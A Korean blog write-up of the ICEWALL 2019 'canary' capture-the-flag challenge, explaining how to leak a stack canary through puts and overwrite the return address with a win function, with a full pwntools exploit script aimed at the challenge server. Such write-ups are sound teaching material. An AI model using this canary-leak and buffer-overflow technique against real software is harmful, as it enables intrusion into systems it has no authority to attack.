본문으로 바로가기

[System] canary / 150

category ICEWALL 2019. 7. 19. 00:24

Download: vuln

 

32bit ELF 바이너리에 SSP (Stack Canary) 와 NX 보호기법이 걸려있다. 문제 이름에서 대략적으로 유추할 수 있듯이, canary를 leak한 뒤 BOF 공격을 수행하면 될 것이라고 짐작할 수 있다.

 

먼저 IDA로 디컴파일한 뒤 전체적인 구조를 분석해본다.

 

win을 호출하면 flag를 얻어오고 vuln의 read에서 BOF가 발생할 수 있다.

vuln의 RET에 win 주소를 덮어씌우면 되겠지만 그 전에 stack 무결성 검사를 bypass 하기 위해 canary 값을 맞춰줄 필요가 있다.

 

canary의 첫 바이트는 항상 \x00 (NULL) 으로 시작하므로, 정확히 canary의 NULL 위치까지 read를 통해 값을 써 준다면 puts 함수에서 canary leak이 가능할 것이다.

 

두 번째 read 함수 호출에서 canary 값을 맞춰주고 RET에 win 주소를 overwrite 해 주면 문제를 해결할 수 있다.

 

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./vuln')
else :
	p = connect('icewall-ctf.kr', 10202)

win = 0x804869B

p.sendlineafter('>', '1')
p.sendline('A'*32)

p.sendlineafter('>', '2')
leak = p.recv(36)
leak = '\x00'+leak[33:36]

print 'Canary = '+''.join('%02X ' % ord(b) for b in leak)

p.sendline('1')
payload = 'A'*32
payload += leak
payload += 'A'*12
payload += p32(win)

p.sendline(payload)

p.sendlineafter('>', '3')

p.interactive()

s가 EBP-0x2C에 있고 canary가 EBP-0xC에 위치하므로 s의 크기는 0x20이다.

A 32글자를 보내면 A 32글자 + LF (Line Feed) 1글자로 33글자가 되고, canary의 NULL 바이트는 \x0A로 바뀐다.

puts 호출 때 canary leak이 되고, 34번째부터 36번째 바이트의 값 앞에 NULL을 붙이면 canary가 된다.

그 뒤에는 기초적인 BOF 공격을 수행한다.

 

'ICEWALL' 카테고리의 다른 글

[System] typing_practice / 200  (0) 2019.07.19
[System] fsb32 / 150  (0) 2019.07.19
[System] bofbaby2 / 120  (0) 2019.07.18
[System] bofbaby1 / 100  (0) 2019.07.18
[System] command_injection / 100  (0) 2019.07.18